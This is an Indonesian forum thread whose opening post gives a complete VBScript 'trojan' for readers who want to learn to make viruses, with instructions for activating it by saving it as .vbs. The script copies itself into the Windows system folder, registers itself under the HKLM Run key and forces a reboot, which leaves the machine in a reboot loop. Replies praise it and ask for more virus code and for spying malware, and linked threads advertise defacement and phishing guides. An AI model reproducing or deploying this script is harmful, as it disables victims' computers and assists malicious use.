Cara Membuat Virus Sejenis Trojan

Subyek: Cara Membuat Virus Sejenis Trojan Thu Jun 13, 2013 12:41 am

" Membuat Virus Perusak Data Dari Notepad Jenis Trojan "
Bagi Teman-teman yang ingin belajar membuat virus, saya akan memberikan sebuah script untuk membuat virus sederhana dari notepad berjenis trojan, virus ini pun mampu merusak data-data yang terdapat di komputer/laptop kita, oleh karnanya apabila akan mencobanya harus berhati hati dalam pengoprasiannya, caranya apabila virus ini akan di tanamkan/dijalankan silahkan save script yang di tulis di notepad dengan ekstensi .vbs dan apabila tidak akan ditanamkan atau dijalankan simpan saja dengan ekstensi .txt
Contoh :
(VirusMaho.vbs) dengan file ekstensi tersebut maka virus akan aktif dan apabila di save dengan ekstensi (VirusMaho.txt) maka virus ini tidak akan berjalan dan akan tersimpan berupa text / notepad.

Berikut adalah script untuk membuat virusnya :
rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

semoga bermanfaat,,....

Subyek: Re: Cara Membuat Virus Sejenis Trojan Thu Nov 07, 2013 1:41 pm

Mantap nih OM, Ditunggu Post CODE VIRUS yang laen Cara Membuat Virus Sejenis Trojan 1921134216

Jumlah posting : 3 Cendol : 0 Join date : 15.07.14 Age : 33

Sangat Sangat Bermanfaat Muantaapp

Subyek: Re: Cara Membuat Virus Sejenis Trojan Thu Aug 07, 2014 8:05 am

bisa buatin virus malware or spam g,,,buat spy antar kota,,,
makasih

Subyek: Re: Cara Membuat Virus Sejenis Trojan Wed Aug 26, 2015 5:21 pm

» Cara Membuat Virus dgn Notepad
» Script Virus Trojan untuk Isengin teman Anda !
» Cara Membuat Script Deface (for noob)
» Cara membuat Phising Facebook, Tweeter, Dll
» code virus worm